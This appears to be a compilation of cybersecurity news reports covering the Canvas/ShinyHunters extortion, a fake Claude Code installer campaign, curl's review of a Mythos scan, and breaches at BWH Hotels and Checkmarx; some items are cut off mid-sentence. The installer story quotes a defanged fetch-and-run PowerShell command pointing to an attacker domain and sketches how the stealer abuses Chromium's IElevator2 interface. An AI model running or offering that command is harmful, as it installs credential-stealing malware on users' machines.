I think the bigger point here is that AI has clearly been accelerating attackers, so it makes sense that frontier models are now being packaged more directly for defenders too.
Ed-tech giant Instructure confirmed two rounds of unauthorized activity affecting its online learning platform Canvas within two weeks as data-theft-and-extortion crew ShinyHunters threatened to leak data it claims belongs to more than 275 million students, teachers, and staff tied to nearly 9,000 schools worldwide. In a security incident update, Instructure apologized for the disruption when Canvas went offline last Thursday, leaving thousands of colleges, universities, and K-12 schools without access to course materials, grades, and due dates during final exams and Advanced Placement testing for many. As of Saturday, the parent company claimed, “Canvas is fully back online and available for use.” And it finally broke its silence on Monday about what happened, admitting not one but two intrusions after criminals exploited a security vulnerability in its Free-for-Teacher learning system, and saying the data thieves stole information including usernames, email addresses, course names, enrollment information, and messages. “Core learning data (course content, submissions, credentials) was not compromised,” the Monday disclosure said. “We're still validating all findings, but we want to be clear about what we understand was and wasn't affected.” On April 29, the online education firm “detected unauthorized activity in Canvas,” immediately revoked the intruder’s access, and initiated a probe into the breach, according to Instructure’s notice posted on its website. On May 7, the company “identified additional unauthorized activity tied to the same incident.” ShinyHunters defaced about 330 Canvas school login portals, also exploiting the same Free-for-Teacher vulnerability, and that caused the ed-tech firm to take Canvas offline and “into maintenance mode to contain the activity.” ShinyHunters claims it stole 3.65 TB of data, including about 275 million records from about 8,800 schools including Harvard, Columbia, Rutgers, Georgetown, and Stanford universities. After moving the pay-or-leak deadline multiple times, ShinyHunters set a final deadline of end-of-day May 12 for individual institutions to contact them directly to negotiate payment - or the group will publish the full dataset. In response, Instructure said it temporarily shut down its Free-for-Teacher accounts. It also revoked privileged credentials and access tokens tied to compromised systems, rotated internal keys, restricted token creation pathways, and added monitoring across all platforms. The education platform hired CrowdStrike to assist with its forensic analysis and incident response, and said it also notified the FBI - which published its own alert on social media - and the US Cybersecurity and Infrastructure Security Agency. This is Instructure’s second breach in less than a year. ShinyHunters claimed to have breached Instructure's Salesforce environment in September 2025, and while Instructure didn’t name the crew in its latest disclosure, it did address the intrusion. “The prior Salesforce-related incident and this Canvas security incident are distinct events involving different systems and circumstances,” the company said. ® UPDATED AT 01:10 UTC MAY 12 Instructure At 10:21 UTC on May 11, Instructure updated its incident report to state "All Canvas environments are available." It is unclear how the company achieved that status. Perhaps it paid a ransom?
An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers. The lure - as with several other infostealer attacks targeting developers over the past several months - mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]//claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”. The payload is unique, and doesn’t match up with any documented malware family. It does, however, wreak havoc on developers exfiltrating decrypted cookies, passwords, and payment methods from Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, Vivaldi, and Opera. According to the threat hunters who documented the new campaign on Monday: “We publish for peer correlation rather than attribution.” The attacks also abuses the IElevator2 COM interface. This is Chromium’s elevation service used to handle App-Bound Encryption (ABE), specifically for encrypting and decrypting sensitive user data like cookies and passwords. Google introduced the new interface in January to protect Chromium-based browser data from cookie thieves, who used earlier ABE bypass techniques and commodity stealers that file-copied the SQLite databases holding cookies and saved passwords. However, crafty crooks (and security researchers) soon figured out workarounds to abuse IElevator2, as is the case with the newly spotted malware. The attack runs across three domains, all registered within six days of each other in April, and all fronted through Cloudflare. It relies on developers searching for “install claude code,” and selecting a sponsored result that leads to a lookalike Claude Code installation page. The page downloads and executes Anthropic’s authentic installer - but as Ontinue’s team found, the malicious instruction isn’t stored in the file itself, but instead rendered into the HTML of the landing page. “Automated scanners, URL reputation services, and any skeptical reviewer who simply curls the URL therefore observe clean PowerShell delivered from a Cloudflare-fronted domain bearing a valid Let’s Encrypt certificate,” the researchers wrote. “Victims, meanwhile, are presented with an entirely different command.” The pasted command redirects victims to an obfuscated PowerShell loader that injects a native AEB helper into a live browser process. The helper’s “exclusive purpose,” we’re told, is to invoke the browser's IElevator2 COM interface and recover the App-Bound Encryption key. The helper formats a pipe to exfiltrate sensitive data using Chromium’s legitimate Mojo naming convention for IPC pipes. It then attempts to use IElevator2 to decrypt developer secrets, but it falls back to the legacy interface on the Elevation Service alongside the legacy IElevator if the new one doesn’t work. Ontinue’s researchers published a full list of elevation-service identifiers, so be sure to check that out. And after receiving the ABE key from the helper, the PowerShell loader decrypts the local browser databases and sends the stolen data to an attacker-controlled server via an in-memory secure_prefs.zip archive. The malware hunters say that they compared the malware against published reporting for the several stealers - including Lumma, StealC, Vidar, EddieStealer, Glove Stealer, Katz Stealer, Marco Stealer, Shuyal, AuraStealer, Torg Grabber, VoidStealer, Phemedrone, Metastealer, Xenostealer, ACRStealer, DumpBrowserSecrets, DeepLoad, and Storm - and found no technical match. The closest is Glove Stealer, first documented by Gen Digital in November 2024, which also abuses IElevator via a helper module communicating over a named pipe. The orchestration model, however, differs from Glove in that it uses a “small native helper acting as a single-purpose ABE oracle, with all detection-visible activity pushed into PowerShell.” According to the research team, this split matters for defenders because "behavioral rule sets that look at the native PE in isolation will see nothing actionable,” as they wrote. “Detection has to land at the COM call and at the PowerShell layer.” ®
cURL developer Daniel Stenberg has seen Anthropic’s Mythos, a model the AI biz has suggested is too capable at finding security holes to release publicly, scan his popular open source project. But after the system turned up just a single vulnerability, he concluded the hype around Mythos was “primarily marketing” rather than a major AI security breakthrough. Stenberg explained in a Monday blog post that he was promised access to Anthropic’s Mythos model - sort of - through the AI biz’s Project Glasswing program. Part of Glasswing involves giving high-profile open source projects access via the Linux Foundation, but while Stenberg signed up to try Mythos, he said he never actually received direct access to the model. Instead, someone else with access ran Mythos against curl’s codebase and later sent him a report. “It’s not that I would have a lot of time to explore lots of different prompts and doing deep dive adventures anyway,” Stenberg explained. “Getting the tool to generate a first proper scan and analysis would be great, whoever did it.” That scan, which analyzed curl’s git repository at a recent master-branch commit, was sent back to him earlier this month, and it found just five things that it claimed were “confirmed security vulnerabilities” in cURL. Saying he had expected an extensive list of vulnerabilities, Stenberg wrote that the report “felt like nothing,” and that feeling was further validated by a review of Mythos’ findings. “Once my curl security team fellows and I had poked on this short list for a number of hours and dug into the details, we had trimmed the list down and were left with one confirmed vulnerability,” Stenberg said, bringing us back to the aforementioned number. As for the other four, three turned out to be false positives that pointed out cURL shortcomings already noted in API documentation, while the team deemed the fourth to be just a simple bug. “The single confirmed vulnerability is going to end up a severity low CVE planned to get published in sync with our pending next curl release 8.21.0 in late June,” the cURL meister noted. “The flaw is not going to make anyone grasp for breath.” That said, Mythos did find several other non-security bugs that Stenberg said the team is working on fixing, and he notes that their description and explanation were well done. Mythos can do good work, in other words, but it’s not a ground-breaking, game-changing AI model like Anthropic has claimed. “My personal conclusion can however not end up with anything else than that the big hype around this model so far was primarily marketing,” Stenberg said in the blog post. “I see no evidence that this setup finds issues to any particular higher or more advanced degree than the other tools have done before Mythos.” cURL code is no stranger to AI To say cURL has become widely used in its nearly three decades of existence would be an understatement. Its wide reach has meant that its team has been running it through all sorts of static code analyzers and fuzz testing it since well before the dawn of the AI age. With AI’s rise, the cURL team has adapted, meaning Mythos is hardly the first AI to get its fingers on cURL’s codebase. “These tools and the analyses they have done have triggered somewhere between two and three hundred bugfixes merged in curl through-out the recent 8-10 months or so,” Stenberg said of tools like AISLE, Zeropath, and OpenAI Codex Security that’ve tested cURL code. “A bunch of the findings these AI tools reported were confirmed vulnerabilities and have been published as CVEs. Probably a dozen or more.” Stenberg’s experience with AI testing cURL, in other words, makes it a great candidate to see how effective Mythos can really be at finding more than the average AI. As Stenberg noted elsewhere in his blog post, Mythos isn’t doing anything particularly novel when it comes to security discoveries: It might be a bit better at finding things than previous models, but “it is not better to a degree that seems to make a significant dent in code analyzing,” the cURL author noted. Stenberg isn’t an AI doomer when it comes to its ability to improve software design, though. Yes, he may have closed the cURL bug bounty earlier this year due to an influx of sloppy, useless bug reports, but he also noted a few months prior to the bounty closure that some security researchers assisted by AI have made valuable reports. “AI powered code analyzers are significantly better at finding security flaws and mistakes in source code than any traditional code analyzers did in the past,” Stenberg said, adding an important qualifier for the Mythos moment: “All modern AI models are good at this now.” Mythos isn’t any more creative than its creators Both older AI models and security-focused tools like Mythos have a common limitation, as far as Stenberg is concerned: They’re only as good at finding security vulnerabilities as the humans who programmed them. “AI tools find the usual and established kind of errors we already know about. It just finds new instances of them,” Stenberg said. “We have not seen any AI so far report a vulnerability that would somehow be of a novel kind or something totally new.” As for Mythos, Stenberg remains unimpressed, calling it "an amazingly successful marketing stunt for sure" in his blog post. In an email to The Register, Stenberg admitted that it’d be possible for AI models to actually discover new, novel types of vulnerabilities, but he’s still not convinced that they can go beyond what humans are capable of finding, given that they’re limited by our understanding of how software vulnerabilities work. At the end of the day, Stenberg explained, when we talk about security, we’re only talking about code. “Source code is text and it feels like maybe we already know about most ways we can do security problems in it,” he pondered in his email. In other words, like the valuable AI-assisted reports made to the cURL bug bounty program before its closure due to a flood of AI garbage, making valuable use of systems like Mythos is going to require humans to get creative. Sorry, no foisting your critical thinking onto a bot. “Human researchers have always used tools when they look for security problems,” Stenberg told us. “Adding AIs to the mix gives the humans even more powerful tools to use, more ways to find problems. I expect that many security bugs going forward will be found by humans coming up with new ways and angles of prompting the AIs.” Stenberg said that he hopes he’ll actually get his hands on Mythos so he can experiment with its capabilities, but he doesn’t seem to be holding out hope the promised access will materialize. “I have been promised access and for all I know I will eventually get it,” Stenberg told us. “I just don't know when.” ®
Google on Monday disclosed that it identified an unknown threat actor using a zero-day exploit that it said was likely developed with an artificial intelligence (AI) system, marking the first time the technology has been put to use in the wild in a malicious context for vulnerability discovery and exploit generation.
The activity is said to be the work of cybercrime threat actors who appear to
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BWH Hotels is informing customers about a third-party data breach that gave cybercriminals access to six months' worth of data. The notification email stated that BWH Hotels, which owns the WorldHotels, Best Western Hotels & Resorts, and Sure Hotels brands, identified the intrusion on April 22, but the affected data goes back to October 14, 2025. BWH Hotels CTO Bill Ryan, who penned the notification email, said names, email addresses, telephone numbers, and/or home addresses belonging to "certain guests" were accessed by an unauthorized third party. The intruders also accessed reservation details, such as reservation numbers, dates of stay, and any special requests. It confirmed that the attack targeted one of its "web applications that houses certain guest reservation data." No payment or bank details were involved. The Register asked BWH Hotels whether the intrusion began in October and went undetected until April, or whether a later breach exposed data dating back to October. We also asked if this was related to information we were sent in March about BWH Hotel customer booking data being stolen and used for phishing campaigns. At the time, the company neither confirmed nor denied the information seen by The Register. BWH Hotels did not immediately respond to our request for comment on Monday. "Upon discovering the incident, we immediately took the application offline and revoked the unauthorized access," said Ryan. "We have engaged leading external cybersecurity experts to support our incident response efforts and to assist with the further strengthening of existing safeguards." "We advise guests to be extra vigilant when viewing any unexpected or suspicious communications about hotel stays. If you receive a suspicious communication such as an unexpected email, text, WhatsApp message, or telephone call that asks for payment, codes, logins, or 'verification,' even if they reference a BWH Hotels property or an upcoming reservation, do not engage. Navigate to sites directly rather than clicking links." ®
Rough Monday.
Somebody poisoned a trusted download again, somebody else turned cloud servers into public housing, and a few crews are still getting into boxes with bugs that should’ve died years ago — the same old holes, same lazy access paths, same “how the hell is this still open” feeling. One report this week basically reads like a guy tripped over root access by accident and decided to stay
Checkmarx’s software engineers are still working to remove a malicious version of the code security outfit's Jenkins plugin after detecting an unauthorized upload over the weekend. It updated customers on Saturday, May 9, after discovering a version of its AST Scanner, which is used for security scans in Jenkins CI pipelines, was made available via the Jenkins Marketplace. “We are aware that a modified version of the Checkmarx Jenkins AST plugin was published to the Jenkins Marketplace,” it said in a statement. “We are in the process of publishing a new version of this plug-in.” Versions published as of May 9, 2026, should not be trusted, it added, before urging all users to check they’re running the correct release (2.0.13-829.vc72453fa_1c16) published on December 17, 2025. Installed by several hundred controllers, the plugin remains available at the time of writing, and appears as the most recently available version, although pull requests actioned on Monday morning suggest this will soon be pulled down. “What makes this particularly dangerous for Jenkins users is the trust model at play,” said SOCRadar in its coverage. “The Checkmarx Jenkins plugin is a tool people install specifically to improve the security of their pipelines. “A backdoored version doesn’t just compromise one project; it rides trusted infrastructure into every build pipeline it touches, with access to source code, environment variables, tokens, and whatever secrets the runner can see.” Security engineer Adnan Khan spotted the compromise quickly over the weekend. The crew behind the early supply chain attack affecting Checkmarx in April, TeamPCP, defaced the company’s GitHub and published six packages, each with a description alluding to the Shai-Hulud wormable malware. These packages no longer appear on Checkmarx’s GitHub, but TeamPCP made multiple changes to the AST plugins page, renaming it to “Checkmarx-Fully-Hacked-by-TeamPCP-and-Their-Customers-Should-Cancel-Now,” and altering the description to claim CheckMarx failed to rotate its secrets. The latest infiltration of Checkmarx’s internals marks the third time TeamPCP has compromised the company’s packages in as many months. As previously seen in The Register, the crooks successfully targeted Checkmarx’s AST plugin for GitHub Actions and its KICS static analysis tool back in March, deploying credential-stealing malware. SOCRadar said the latest TeamPCP compromise of the Jenkins plugin suggests that either TeamPCP was telling the truth about Checkmarx’s secrets rotation, or its members took advantage of an additional persistence mechanism that the security vendor failed to notice during its response to the March intrusion. ®
Defending a network at 2 am looks a lot like this: an analyst copy-pasting a hash from a PDF into a SIEM query. A red team script is being rewritten by hand so the blue team can use it. A patch waiting on a change-approval window that's longer than the exploitation window itself.
Nobody in that chain is incompetent. Every human is doing their job correctly. The problem is the system, its
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